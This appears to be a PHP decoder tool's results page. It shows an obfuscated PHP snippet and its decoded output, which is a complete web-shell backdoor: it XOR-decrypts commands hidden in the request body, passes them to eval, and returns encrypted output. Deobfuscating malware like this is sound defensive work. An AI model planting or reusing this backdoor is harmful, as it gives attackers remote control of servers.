Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $d=str_replace('eq','','create_function'); $C='{$o.=$t{$i}^$k{$j};}}return$o;}if..

Decoded Output download

$k="81aebe18";$kh="775d4f83f4e0";$kf="0120dd0bccc6";$p="kkqES1eCIzoxyHXb";functionx($t[Z,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return$o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$d=str_replace('eq','','create_function');

$C='{$o.=$t{$i}^$k{$j};}}return$o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("ph';
$q='Z,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++)';
$O='$k="81aebe18";$kh="775d4f83f4e0";$kf="0120dd0bccc6";$p="kkqES1eCIzoxyHXb";functionx($t[';
$Z='et_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';
$V='p://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_g';

$v=str_replace('','',$O.$q.$C.$V.$Z);

$W=$d('',$v);
?>

Function Calls

str_replace 2
create_function 1

Variables

$C {$o.=$t{$i}^$k{$j};}}return$o;}if(@preg_match("/$kh(.+)$kf/"..
$O $k="81aebe18";$kh="775d4f83f4e0";$kf="0120dd0bccc6";$p="kkqE..
$V p://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base..
$Z et_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompre..
$d create_function
$q Z,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for..
$v $k="81aebe18";$kh="775d4f83f4e0";$kf="0120dd0bccc6";$p="kkqE..

Stats

MD5 0cb00a69616fa892cb7d1ce7e6e2a49a
Eval Count 1
Decode Time 54 ms